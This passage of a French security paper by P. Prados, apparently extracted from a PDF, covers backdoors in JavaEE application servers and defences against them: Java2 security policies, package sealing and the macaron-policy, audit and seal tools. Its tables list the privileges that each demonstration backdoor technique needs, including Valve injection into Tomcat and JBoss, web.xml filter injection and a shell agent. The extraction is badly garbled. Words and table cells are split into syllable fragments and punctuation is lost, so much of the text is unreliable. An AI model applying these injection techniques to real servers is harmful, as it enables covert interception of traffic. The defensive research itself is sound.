Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
